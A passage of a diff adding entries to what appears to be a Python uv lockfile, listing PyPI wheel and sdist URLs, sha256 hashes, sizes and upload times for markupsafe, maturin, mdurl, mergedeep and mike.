+    { url = "https://files.pythonhosted.org/packages/62/7e/a145f36a5c2945673e590850a6f8014318d5577ed7e5920a4b3448e0865d/markupsafe-3.0.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:f9e130248f4462aaa8e2552d547f36ddadbeaa573879158d721bbd33dfe4743a", size = 22923, upload-time = "2025-09-27T18:36:27.109Z" },
+    { url = "https://files.pythonhosted.org/packages/0f/62/d9c46a7f5c9adbeeeda52f5b8d802e1094e9717705a645efc71b0913a0a8/markupsafe-3.0.3-cp311-cp311-win32.whl", hash = "sha256:0db14f5dafddbb6d9208827849fad01f1a2609380add406671a26386cdf15a19", size = 14572, upload-time = "2025-09-27T18:36:28.045Z" },
+    { url = "https://files.pythonhosted.org/packages/83/8a/4414c03d3f891739326e1783338e48fb49781cc915b2e0ee052aa490d586/markupsafe-3.0.3-cp311-cp311-win_amd64.whl", hash = "sha256:de8a88e63464af587c950061a5e6a67d3632e36df62b986892331d4620a35c01", size = 15077, upload-time = "2025-09-27T18:36:29.025Z" },
+    { url = "https://files.pythonhosted.org/packages/35/73/893072b42e6862f319b5207adc9ae06070f095b358655f077f69a35601f0/markupsafe-3.0.3-cp311-cp311-win_arm64.whl", hash = "sha256:3b562dd9e9ea93f13d53989d23a7e775fdfd1066c33494ff43f5418bc8c58a5c", size = 13876, upload-time = "2025-09-27T18:36:29.954Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/72/147da192e38635ada20e0a2e1a51cf8823d2119ce8883f7053879c2199b5/markupsafe-3.0.3-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d53197da72cc091b024dd97249dfc7794d6a56530370992a5e1a08983ad9230e", size = 11615, upload-time = "2025-09-27T18:36:30.854Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/81/7e4e08678a1f98521201c3079f77db69fb552acd56067661f8c2f534a718/markupsafe-3.0.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:1872df69a4de6aead3491198eaf13810b565bdbeec3ae2dc8780f14458ec73ce", size = 12020, upload-time = "2025-09-27T18:36:31.971Z" },
+    { url = "https://files.pythonhosted.org/packages/1e/2c/799f4742efc39633a1b54a92eec4082e4f815314869865d876824c257c1e/markupsafe-3.0.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a7e8ae81ae39e62a41ec302f972ba6ae23a5c5396c8e60113e9066ef893da0d", size = 24332, upload-time = "2025-09-27T18:36:32.813Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/2e/8d0c2ab90a8c1d9a24f0399058ab8519a3279d1bd4289511d74e909f060e/markupsafe-3.0.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d6dd0be5b5b189d31db7cda48b91d7e0a9795f31430b7f271219ab30f1d3ac9d", size = 22947, upload-time = "2025-09-27T18:36:33.86Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/54/887f3092a85238093a0b2154bd629c89444f395618842e8b0c41783898ea/markupsafe-3.0.3-cp312-cp312-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:94c6f0bb423f739146aec64595853541634bde58b2135f27f61c1ffd1cd4d16a", size = 21962, upload-time = "2025-09-27T18:36:35.099Z" },
+    { url = "https://files.pythonhosted.org/packages/c9/2f/336b8c7b6f4a4d95e91119dc8521402461b74a485558d8f238a68312f11c/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:be8813b57049a7dc738189df53d69395eba14fb99345e0a5994914a3864c8a4b", size = 23760, upload-time = "2025-09-27T18:36:36.001Z" },
+    { url = "https://files.pythonhosted.org/packages/32/43/67935f2b7e4982ffb50a4d169b724d74b62a3964bc1a9a527f5ac4f1ee2b/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:83891d0e9fb81a825d9a6d61e3f07550ca70a076484292a70fde82c4b807286f", size = 21529, upload-time = "2025-09-27T18:36:36.906Z" },
+    { url = "https://files.pythonhosted.org/packages/89/e0/4486f11e51bbba8b0c041098859e869e304d1c261e59244baa3d295d47b7/markupsafe-3.0.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:77f0643abe7495da77fb436f50f8dab76dbc6e5fd25d39589a0f1fe6548bfa2b", size = 23015, upload-time = "2025-09-27T18:36:37.868Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/e1/78ee7a023dac597a5825441ebd17170785a9dab23de95d2c7508ade94e0e/markupsafe-3.0.3-cp312-cp312-win32.whl", hash = "sha256:d88b440e37a16e651bda4c7c2b930eb586fd15ca7406cb39e211fcff3bf3017d", size = 14540, upload-time = "2025-09-27T18:36:38.761Z" },
+    { url = "https://files.pythonhosted.org/packages/aa/5b/bec5aa9bbbb2c946ca2733ef9c4ca91c91b6a24580193e891b5f7dbe8e1e/markupsafe-3.0.3-cp312-cp312-win_amd64.whl", hash = "sha256:26a5784ded40c9e318cfc2bdb30fe164bdb8665ded9cd64d500a34fb42067b1c", size = 15105, upload-time = "2025-09-27T18:36:39.701Z" },
+    { url = "https://files.pythonhosted.org/packages/e5/f1/216fc1bbfd74011693a4fd837e7026152e89c4bcf3e77b6692fba9923123/markupsafe-3.0.3-cp312-cp312-win_arm64.whl", hash = "sha256:35add3b638a5d900e807944a078b51922212fb3dedb01633a8defc4b01a3c85f", size = 13906, upload-time = "2025-09-27T18:36:40.689Z" },
+    { url = "https://files.pythonhosted.org/packages/38/2f/907b9c7bbba283e68f20259574b13d005c121a0fa4c175f9bed27c4597ff/markupsafe-3.0.3-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:e1cf1972137e83c5d4c136c43ced9ac51d0e124706ee1c8aa8532c1287fa8795", size = 11622, upload-time = "2025-09-27T18:36:41.777Z" },
+    { url = "https://files.pythonhosted.org/packages/9c/d9/5f7756922cdd676869eca1c4e3c0cd0df60ed30199ffd775e319089cb3ed/markupsafe-3.0.3-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:116bb52f642a37c115f517494ea5feb03889e04df47eeff5b130b1808ce7c219", size = 12029, upload-time = "2025-09-27T18:36:43.257Z" },
+    { url = "https://files.pythonhosted.org/packages/00/07/575a68c754943058c78f30db02ee03a64b3c638586fba6a6dd56830b30a3/markupsafe-3.0.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:133a43e73a802c5562be9bbcd03d090aa5a1fe899db609c29e8c8d815c5f6de6", size = 24374, upload-time = "2025-09-27T18:36:44.508Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/21/9b05698b46f218fc0e118e1f8168395c65c8a2c750ae2bab54fc4bd4e0e8/markupsafe-3.0.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ccfcd093f13f0f0b7fdd0f198b90053bf7b2f02a3927a30e63f3ccc9df56b676", size = 22980, upload-time = "2025-09-27T18:36:45.385Z" },
+    { url = "https://files.pythonhosted.org/packages/7f/71/544260864f893f18b6827315b988c146b559391e6e7e8f7252839b1b846a/markupsafe-3.0.3-cp313-cp313-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:509fa21c6deb7a7a273d629cf5ec029bc209d1a51178615ddf718f5918992ab9", size = 21990, upload-time = "2025-09-27T18:36:46.916Z" },
+    { url = "https://files.pythonhosted.org/packages/c2/28/b50fc2f74d1ad761af2f5dcce7492648b983d00a65b8c0e0cb457c82ebbe/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a4afe79fb3de0b7097d81da19090f4df4f8d3a2b3adaa8764138aac2e44f3af1", size = 23784, upload-time = "2025-09-27T18:36:47.884Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/76/104b2aa106a208da8b17a2fb72e033a5a9d7073c68f7e508b94916ed47a9/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:795e7751525cae078558e679d646ae45574b47ed6e7771863fcc079a6171a0fc", size = 21588, upload-time = "2025-09-27T18:36:48.82Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/99/16a5eb2d140087ebd97180d95249b00a03aa87e29cc224056274f2e45fd6/markupsafe-3.0.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:8485f406a96febb5140bfeca44a73e3ce5116b2501ac54fe953e488fb1d03b12", size = 23041, upload-time = "2025-09-27T18:36:49.797Z" },
+    { url = "https://files.pythonhosted.org/packages/19/bc/e7140ed90c5d61d77cea142eed9f9c303f4c4806f60a1044c13e3f1471d0/markupsafe-3.0.3-cp313-cp313-win32.whl", hash = "sha256:bdd37121970bfd8be76c5fb069c7751683bdf373db1ed6c010162b2a130248ed", size = 14543, upload-time = "2025-09-27T18:36:51.584Z" },
+    { url = "https://files.pythonhosted.org/packages/05/73/c4abe620b841b6b791f2edc248f556900667a5a1cf023a6646967ae98335/markupsafe-3.0.3-cp313-cp313-win_amd64.whl", hash = "sha256:9a1abfdc021a164803f4d485104931fb8f8c1efd55bc6b748d2f5774e78b62c5", size = 15113, upload-time = "2025-09-27T18:36:52.537Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/3a/fa34a0f7cfef23cf9500d68cb7c32dd64ffd58a12b09225fb03dd37d5b80/markupsafe-3.0.3-cp313-cp313-win_arm64.whl", hash = "sha256:7e68f88e5b8799aa49c85cd116c932a1ac15caaa3f5db09087854d218359e485", size = 13911, upload-time = "2025-09-27T18:36:53.513Z" },
+    { url = "https://files.pythonhosted.org/packages/e4/d7/e05cd7efe43a88a17a37b3ae96e79a19e846f3f456fe79c57ca61356ef01/markupsafe-3.0.3-cp313-cp313t-macosx_10_13_x86_64.whl", hash = "sha256:218551f6df4868a8d527e3062d0fb968682fe92054e89978594c28e642c43a73", size = 11658, upload-time = "2025-09-27T18:36:54.819Z" },
+    { url = "https://files.pythonhosted.org/packages/99/9e/e412117548182ce2148bdeacdda3bb494260c0b0184360fe0d56389b523b/markupsafe-3.0.3-cp313-cp313t-macosx_11_0_arm64.whl", hash = "sha256:3524b778fe5cfb3452a09d31e7b5adefeea8c5be1d43c4f810ba09f2ceb29d37", size = 12066, upload-time = "2025-09-27T18:36:55.714Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/e6/fa0ffcda717ef64a5108eaa7b4f5ed28d56122c9a6d70ab8b72f9f715c80/markupsafe-3.0.3-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4e885a3d1efa2eadc93c894a21770e4bc67899e3543680313b09f139e149ab19", size = 25639, upload-time = "2025-09-27T18:36:56.908Z" },
+    { url = "https://files.pythonhosted.org/packages/96/ec/2102e881fe9d25fc16cb4b25d5f5cde50970967ffa5dddafdb771237062d/markupsafe-3.0.3-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8709b08f4a89aa7586de0aadc8da56180242ee0ada3999749b183aa23df95025", size = 23569, upload-time = "2025-09-27T18:36:57.913Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/30/6f2fce1f1f205fc9323255b216ca8a235b15860c34b6798f810f05828e32/markupsafe-3.0.3-cp313-cp313t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:b8512a91625c9b3da6f127803b166b629725e68af71f8184ae7e7d54686a56d6", size = 23284, upload-time = "2025-09-27T18:36:58.833Z" },
+    { url = "https://files.pythonhosted.org/packages/58/47/4a0ccea4ab9f5dcb6f79c0236d954acb382202721e704223a8aafa38b5c8/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:9b79b7a16f7fedff2495d684f2b59b0457c3b493778c9eed31111be64d58279f", size = 24801, upload-time = "2025-09-27T18:36:59.739Z" },
+    { url = "https://files.pythonhosted.org/packages/6a/70/3780e9b72180b6fecb83a4814d84c3bf4b4ae4bf0b19c27196104149734c/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_riscv64.whl", hash = "sha256:12c63dfb4a98206f045aa9563db46507995f7ef6d83b2f68eda65c307c6829eb", size = 22769, upload-time = "2025-09-27T18:37:00.719Z" },
+    { url = "https://files.pythonhosted.org/packages/98/c5/c03c7f4125180fc215220c035beac6b9cb684bc7a067c84fc69414d315f5/markupsafe-3.0.3-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:8f71bc33915be5186016f675cd83a1e08523649b0e33efdb898db577ef5bb009", size = 23642, upload-time = "2025-09-27T18:37:01.673Z" },
+    { url = "https://files.pythonhosted.org/packages/80/d6/2d1b89f6ca4bff1036499b1e29a1d02d282259f3681540e16563f27ebc23/markupsafe-3.0.3-cp313-cp313t-win32.whl", hash = "sha256:69c0b73548bc525c8cb9a251cddf1931d1db4d2258e9599c28c07ef3580ef354", size = 14612, upload-time = "2025-09-27T18:37:02.639Z" },
+    { url = "https://files.pythonhosted.org/packages/2b/98/e48a4bfba0a0ffcf9925fe2d69240bfaa19c6f7507b8cd09c70684a53c1e/markupsafe-3.0.3-cp313-cp313t-win_amd64.whl", hash = "sha256:1b4b79e8ebf6b55351f0d91fe80f893b4743f104bff22e90697db1590e47a218", size = 15200, upload-time = "2025-09-27T18:37:03.582Z" },
+    { url = "https://files.pythonhosted.org/packages/0e/72/e3cc540f351f316e9ed0f092757459afbc595824ca724cbc5a5d4263713f/markupsafe-3.0.3-cp313-cp313t-win_arm64.whl", hash = "sha256:ad2cf8aa28b8c020ab2fc8287b0f823d0a7d8630784c31e9ee5edea20f406287", size = 13973, upload-time = "2025-09-27T18:37:04.929Z" },
+    { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" },
+    { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" },
+    { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" },
+    { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" },
+    { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" },
+    { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" },
+    { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" },
+    { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" },
+    { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" },
+    { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" },
+    { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" },
+    { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" },
+    { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" },
+    { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" },
+    { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:f3e98bb3798ead92273dc0e5fd0f31ade220f59a266ffd8a4f6065e0a3ce0523", size = 22733, upload-time = "2025-09-27T18:37:24.237Z" },
+    { url = "https://files.pythonhosted.org/packages/14/c7/ca723101509b518797fedc2fdf79ba57f886b4aca8a7d31857ba3ee8281f/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:5678211cb9333a6468fb8d8be0305520aa073f50d17f089b5b4b477ea6e67fdc", size = 23672, upload-time = "2025-09-27T18:37:25.271Z" },
+    { url = "https://files.pythonhosted.org/packages/fb/df/5bd7a48c256faecd1d36edc13133e51397e41b73bb77e1a69deab746ebac/markupsafe-3.0.3-cp314-cp314t-win32.whl", hash = "sha256:915c04ba3851909ce68ccc2b8e2cd691618c4dc4c4232fb7982bca3f41fd8c3d", size = 14819, upload-time = "2025-09-27T18:37:26.285Z" },
+    { url = "https://files.pythonhosted.org/packages/1a/8a/0402ba61a2f16038b48b39bccca271134be00c5c9f0f623208399333c448/markupsafe-3.0.3-cp314-cp314t-win_amd64.whl", hash = "sha256:4faffd047e07c38848ce017e8725090413cd80cbc23d86e55c587bf979e579c9", size = 15426, upload-time = "2025-09-27T18:37:27.316Z" },
+    { url = "https://files.pythonhosted.org/packages/70/bc/6f1c2f612465f5fa89b95bead1f44dcb607670fd42891d8fdcd5d039f4f4/markupsafe-3.0.3-cp314-cp314t-win_arm64.whl", hash = "sha256:32001d6a8fc98c8cb5c947787c5d08b0a50663d139f1305bac5885d98d9b40fa", size = 14146, upload-time = "2025-09-27T18:37:28.327Z" },
+]
+
+[[package]]
+name = "maturin"
+version = "1.13.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "tomli", marker = "python_full_version < '3.11'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/9c/1c/612d23d33ec21b9ae7ece7b3f0dd5f9dfd57b4009e9d2938165869ebd6ae/maturin-1.13.3.tar.gz", hash = "sha256:771e1e9e71a278e56db01552e0d1acfd1464259f9575b6e72842f893cd299079", size = 357934, upload-time = "2026-05-11T07:43:39.027Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/71/66/18c2aaac0b2a5dea9f1db5984ce83b905ad205cfc7c02d0091e707c0c2e7/maturin-1.13.3-py3-none-linux_armv6l.whl", hash = "sha256:3cc13929ca82aefa4adbf0f2c35419369796213c6fb0eb24e914945f50ef5d8c", size = 10190971, upload-time = "2026-05-11T07:43:10.431Z" },
+    { url = "https://files.pythonhosted.org/packages/bc/71/26a988d092e4fd6a9523d46d44400a46cad7cdf3fd206ce702240c748aee/maturin-1.13.3-py3-none-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:53b08bd075649ce96513ad9abf241a43cb685ed6e9e7790f8dbc2d66e95d8323", size = 19716714, upload-time = "2026-05-11T07:43:36.911Z" },
+    { url = "https://files.pythonhosted.org/packages/82/5c/f3fd0e184255d9fc7e272c62af3dfa84c617b2577ef83af9ce615f5279cc/maturin-1.13.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:4cd478e6e4c56251e48ed079b8efd55b30bc5c09cf695a1bdafaeb582ee735a0", size = 10194726, upload-time = "2026-05-11T07:43:07.05Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/e1/f4edb69fb647b77c4769a9bfd4d6fb62961e653d164bc277ecdffac3ab61/maturin-1.13.3-py3-none-manylinux_2_12_i686.manylinux2010_i686.musllinux_1_1_i686.whl", hash = "sha256:a2675e25f313034ae6f57388cf14818f87d8961c4a96795287f3e155f59beb11", size = 10172781, upload-time = "2026-05-11T07:43:40.796Z" },
+    { url = "https://files.pythonhosted.org/packages/c7/7d/a1be934690cdcc3c6609769ceaad322ab7501c2ee5bafcac1b14d609e403/maturin-1.13.3-py3-none-manylinux_2_12_x86_64.manylinux2010_x86_64.musllinux_1_1_x86_64.whl", hash = "sha256:4667ef609ab446c1b5e0bfe4f9fb99699ab6d8548433f8d1a684256e0b67217f", size = 10682670, upload-time = "2026-05-11T07:43:13.132Z" },
+    { url = "https://files.pythonhosted.org/packages/18/f5/372ae19b72ce8f6e37e5864ae4dc5b252ee9fce0619ccc3aa366aa3a7f97/maturin-1.13.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.musllinux_1_1_aarch64.whl", hash = "sha256:3db93337ed97e60ffc878aa8b493cd7ae44d3a5e1a37256db3a4491f57565018", size = 10060363, upload-time = "2026-05-11T07:43:21.107Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/5b/c68340cca09368af0df80965dfabed4234205a492a93da00793c7b9aae20/maturin-1.13.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.musllinux_1_1_armv7l.whl", hash = "sha256:1cc0a110b224ca90406b668a3e3c1f5a515062e59e26292f6dbaf5fd4909c6f3", size = 10017551, upload-time = "2026-05-11T07:43:33.916Z" },
+    { url = "https://files.pythonhosted.org/packages/28/1e/f90fb2b000bad9e6d850cd5afb88b2f1e2a279cfb4de02ea40078484690e/maturin-1.13.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.musllinux_1_1_ppc64le.whl", hash = "sha256:c00ea6428dea17bf616fe93770837634454b28c2de1a876e42ef8036c616079a", size = 13301712, upload-time = "2026-05-11T07:43:26.492Z" },
+    { url = "https://files.pythonhosted.org/packages/be/58/1670f68a8f04ccd7b90df11047bd9a046585310e84e1967cc9849cd1c5a3/maturin-1.13.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:49fd6ab08da28098ccf37afca24cdba72376ba9c1eedf9dd25ff82ed771961ff", size = 10946765, upload-time = "2026-05-11T07:43:16.135Z" },
+    { url = "https://files.pythonhosted.org/packages/4b/ac/00c955c2ef134817b1a7bdaa76b0309e9c5291eb17d9ff88069eecd08bc2/maturin-1.13.3-py3-none-manylinux_2_31_riscv64.musllinux_1_1_riscv64.whl", hash = "sha256:b6741d7bf4af97da937528fd1e523c6ab54f53d9a21870fa735d6e67fd88e273", size = 10388661, upload-time = "2026-05-11T07:43:18.727Z" },
+    { url = "https://files.pythonhosted.org/packages/97/c6/cbf8a51dde19c19aeba0d9b075095a2effb9b31fd312b1aae3ac79f8aea2/maturin-1.13.3-py3-none-win32.whl", hash = "sha256:0ef257e692cc756c87af5bea95ddfe7d3ac49d3376a7a87f728d63f06e7b6f8b", size = 8901838, upload-time = "2026-05-11T07:43:23.76Z" },
+    { url = "https://files.pythonhosted.org/packages/a1/ff/c6a50a59dc8313097d43ac5f4d74df6a500c8cb62b0dc9e054f53e203a48/maturin-1.13.3-py3-none-win_amd64.whl", hash = "sha256:def4a435ea9d2ee93b18ba579dc8c9cf898889a66f312cd379b5e374ec3e3ad6", size = 10340801, upload-time = "2026-05-11T07:43:29.239Z" },
+    { url = "https://files.pythonhosted.org/packages/6c/93/e32e79333f0902ba292b996f504f5f06be59587f7d02ab8d5ed1e3066445/maturin-1.13.3-py3-none-win_arm64.whl", hash = "sha256:2389fe92d017cea9d94e521fa0175314a4c52f79a1057b901fbc9f8686ef7d0b", size = 9706562, upload-time = "2026-05-11T07:43:31.743Z" },
+]
+
+[[package]]
+name = "mdurl"
+version = "0.1.2"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
+]
+
+[[package]]
+name = "mergedeep"
+version = "1.3.4"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/3a/41/580bb4006e3ed0361b8151a01d324fb03f420815446c7def45d02f74c270/mergedeep-1.3.4.tar.gz", hash = "sha256:0096d52e9dad9939c3d975a774666af186eda617e6ca84df4c94dec30004f2a8", size = 4661, upload-time = "2021-02-05T18:55:30.623Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/2c/19/04f9b178c2d8a15b076c8b5140708fa6ffc5601fb6f1e975537072df5b2a/mergedeep-1.3.4-py3-none-any.whl", hash = "sha256:70775750742b25c0d8f36c55aed03d24c3384d17c951b3175d898bd778ef0307", size = 6354, upload-time = "2021-02-05T18:55:29.583Z" },
+]
+
+[[package]]
+name = "mike"
+version = "2.1.3"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+    { name = "importlib-metadata" },
+    { name = "importlib-resources" },
+    { name = "jinja2" },
+    { name = "mkdocs" },
+    { name = "pyparsing" },
+    { name = "pyyaml" },
+    { name = "pyyaml-env-tag" },
+    { name = "verspec" },
+]
